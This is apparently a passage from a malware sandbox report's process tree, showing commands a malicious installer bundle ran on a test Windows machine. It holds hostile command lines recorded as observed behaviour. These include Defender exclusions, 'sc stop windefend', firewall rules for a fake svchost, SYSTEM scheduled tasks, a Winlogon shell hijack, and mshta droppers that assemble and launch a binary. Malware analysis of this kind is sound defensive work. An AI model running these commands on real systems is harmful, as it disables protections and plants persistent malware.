        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\is-4R3L5.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-4R3L5.tmp\setup.tmp" /SL5="$30390,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        11⤵
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2236
        
        C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
        12⤵
        
        PID:7780
        
        C:\34d4ef04a1be5ac0c4abb9ddc5\Setup.exe
        
        C:\34d4ef04a1be5ac0c4abb9ddc5\\Setup.exe /q /norestart /x86 /x64 /web
        13⤵
        
        PID:3176
        
        C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
        12⤵
        
        PID:7420
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh
        13⤵
        
        PID:8100
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad14718
        14⤵
        
        PID:8412
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh
        13⤵
        
        PID:4840
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad14718
        14⤵
        
        PID:1632
        
        C:\Users\Admin\AppData\Local\Temp\is-MN8A2.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-MN8A2.tmp\postback.exe" ss1
        12⤵
        
        PID:6532
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        8⤵
        
        PID:4744
        
        C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
        8⤵
        
        PID:6192
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 1724
        9⤵
        Program crash
        
        PID:7380
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        
        PID:6368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6368 -s 292
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:3716
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        8⤵
        Loads dropped DLL
        
        PID:5608
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        
        PID:4532
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        10⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c0,0x1d4,0x1d0,0x214,0x218,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee0
        11⤵
        
        PID:2040
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e90
        12⤵
        
        PID:1492
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,7363950601443489858,16726377497289865490,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7960_1460101392" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:2
        11⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,7363950601443489858,16726377497289865490,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7960_1460101392" --mojo-platform-channel-handle=1908 /prefetch:8
        11⤵
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\chrome1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
        8⤵
        
        PID:5768
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:6056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 604
        10⤵
        Program crash
        
        PID:7768
        
        C:\Users\Admin\AppData\Local\Temp\chrome update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
        8⤵
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        8⤵
        
        PID:7440
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 7440 -s 1708
        9⤵
        Program crash
        
        PID:7400
        
        C:\Users\Admin\Pictures\Adobe Films\OcWBbXpA_6EaWCW32O6fAAgf.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OcWBbXpA_6EaWCW32O6fAAgf.exe"
        7⤵
        Drops file in Windows directory
        
        PID:6152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:6112
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:8064
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:8172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        8⤵
        
        PID:7816
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        8⤵
        Checks SCSI registry key(s)
        Creates scheduled task(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5668
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        8⤵
        Executes dropped EXE
        
        PID:5840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        9⤵
        
        PID:6376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        9⤵
        
        PID:5012
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:6204
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:4344
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:3840
        
        C:\Users\Admin\Pictures\Adobe Films\6wdRf8m8ias3msQf3OfQ6p33.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6wdRf8m8ias3msQf3OfQ6p33.exe"
        7⤵
        
        PID:2576
        
        C:\Users\Admin\Pictures\Adobe Films\VVRfrq4X8aWdRRsRCNI43zgP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\VVRfrq4X8aWdRRsRCNI43zgP.exe"
        7⤵
        
        PID:4876
        
        C:\Users\Admin\Pictures\Adobe Films\CR1wGFGWl1341eMxMkJZ8pVw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CR1wGFGWl1341eMxMkJZ8pVw.exe"
        7⤵
        
        PID:3444
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue203dd57461.exe
        5⤵
        
        PID:3756
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue203dd57461.exe
        
        Tue203dd57461.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
        
        C:\Users\Admin\AppData\Roaming\673526.exe
        
        "C:\Users\Admin\AppData\Roaming\673526.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5588
        
        C:\Users\Admin\AppData\Roaming\6860493.exe
        
        "C:\Users\Admin\AppData\Roaming\6860493.exe"
        7⤵
        
        PID:5880
        
        C:\Users\Admin\AppData\Roaming\3233740.exe
        
        "C:\Users\Admin\AppData\Roaming\3233740.exe"
        7⤵
        
        PID:5128
        
        C:\Users\Admin\AppData\Roaming\2587217.exe
        
        "C:\Users\Admin\AppData\Roaming\2587217.exe"
        7⤵
        
        PID:3272
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\2587217.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\2587217.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        8⤵
        
        PID:5012
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\2587217.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\2587217.exe" ) do taskkill -f -Im "%~NXZ"
        9⤵
        
        PID:5340
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        10⤵
        Executes dropped EXE
        
        PID:5220
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        11⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        12⤵
        
        PID:5940
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        11⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        12⤵
        
        PID:2684
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        13⤵
        
        PID:3700
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        13⤵
        
        PID:5488
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        13⤵
        
        PID:5500
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        14⤵
        Loads dropped DLL
        
        PID:5224
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        15⤵
        
        PID:7652
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
        16⤵
        
        PID:1672
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "2587217.exe"
        10⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5336
        
        C:\Users\Admin\AppData\Roaming\459688.exe
        
        "C:\Users\Admin\AppData\Roaming\459688.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2924
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        8⤵
        Executes dropped EXE
        
        PID:3940
        
        C:\Users\Admin\AppData\Roaming\6851633.exe
        
        "C:\Users\Admin\AppData\Roaming\6851633.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe
        5⤵
        
        PID:1260
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exe
        
        Tue20c79bfdadc.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3424
        
        C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exe
        7⤵
        Executes dropped EXE
        
        PID:5284
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue205724605816e79.exe
        5⤵
        
        PID:3932
      - C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue205724605816e79.exe
        
        Tue205724605816e79.exe
        6⤵
        Executes dropped EXE
        
        PID:548
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 548 -s 296
        7⤵
        Program crash
        
        PID:5096
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe
        5⤵
        
        PID:3532
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe
        5⤵
        
        PID:4068
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe
        5⤵
        
        PID:2508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe
        5⤵
        
        PID:3024
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe
        5⤵
        
        PID:1804
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 612
        5⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4728
- C:\Windows\SysWOW64\NETSTAT.EXE
  "C:\Windows\SysWOW64\NETSTAT.EXE"
  2⤵
  - Gathers network information
  PID:6464
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe"
    3⤵
    PID:1864
- C:\Windows\SysWOW64\cscript.exe
  "C:\Windows\SysWOW64\cscript.exe"
  2⤵
  PID:6912
- C:\Users\Admin\AppData\Local\Temp\8BBC.exe
  C:\Users\Admin\AppData\Local\Temp\8BBC.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:3280
- - C:\Users\Admin\AppData\Local\Temp\8BBC.exe
    C:\Users\Admin\AppData\Local\Temp\8BBC.exe
    3⤵
    PID:5668
- C:\Users\Admin\AppData\Local\Temp\E680.exe
  C:\Users\Admin\AppData\Local\Temp\E680.exe
  2⤵
  PID:5040
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 280
    3⤵
    - Program crash
    PID:6204
- C:\Users\Admin\AppData\Local\Temp\3608.exe
  C:\Users\Admin\AppData\Local\Temp\3608.exe
  2⤵
  PID:7504
- C:\Users\Admin\AppData\Local\Temp\5828.exe
  C:\Users\Admin\AppData\Local\Temp\5828.exe
  2⤵
  PID:5784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5784 -s 280
    3⤵
    - Program crash
    PID:7460
- C:\Users\Admin\AppData\Local\Temp\1D5D.exe
  C:\Users\Admin\AppData\Local\Temp\1D5D.exe
  2⤵
  PID:5204
- - C:\Users\Admin\AppData\Local\Temp\1D5D.exe
    C:\Users\Admin\AppData\Local\Temp\1D5D.exe
    3⤵
    PID:7956
- C:\Users\Admin\AppData\Local\Temp\1F5D.exe
  C:\Users\Admin\AppData\Local\Temp\1F5D.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1900
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1900 -s 300
    3⤵
    - Program crash
    PID:6572
- C:\Users\Admin\AppData\Local\Temp\5E3C.exe
  C:\Users\Admin\AppData\Local\Temp\5E3C.exe
  2⤵
  PID:2296
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 280
    3⤵
    - Program crash
    PID:7112
- C:\Users\Admin\AppData\Local\Temp\BC56.exe
  C:\Users\Admin\AppData\Local\Temp\BC56.exe
  2⤵
  PID:6272
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
    3⤵
    PID:4396
  - - C:\Windows\SysWOW64\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /release
      4⤵
      Gathers network information
      PID:6492
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:7308
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:2440
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5808
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:7836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:7100
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6112
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:8304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:3124
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:1872
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:2552
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:2104
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew
    3⤵
    PID:7148
  - - C:\Windows\SysWOW64\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /renew
      4⤵
      Gathers network information
      PID:6660
- - C:\Users\Admin\AppData\Local\Temp\BC56.exe
    C:\Users\Admin\AppData\Local\Temp\BC56.exe
    3⤵
    PID:9060
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9060 -s 1772
      4⤵
      Program crash
      PID:6308
- C:\Users\Admin\AppData\Local\Temp\D240.exe
  C:\Users\Admin\AppData\Local\Temp\D240.exe
  2⤵
  PID:5504
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
    3⤵
    PID:6700
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
      4⤵
      PID:2628
- - C:\Users\Admin\AppData\Local\chromedrlver.exe
    "C:\Users\Admin\AppData\Local\chromedrlver.exe"
    3⤵
    PID:8404
  - - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
      4⤵
      PID:4524
- C:\Users\Admin\AppData\Local\Temp\E627.exe
  C:\Users\Admin\AppData\Local\Temp\E627.exe
  2⤵
  PID:7008
- - C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:5216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\test.bat"
      4⤵
      PID:5292
    - - C:\Windows\system32\sc.exe
        
        sc stop windefend
        5⤵
        
        PID:5068
- - C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\test.bat"
      4⤵
      PID:4048
    - - C:\Windows\system32\sc.exe
        
        sc stop windefend
        5⤵
        
        PID:6616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force
    3⤵
    PID:2552
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force
    3⤵
    PID:3136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force
    3⤵
    PID:3328
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:7204
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:5708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
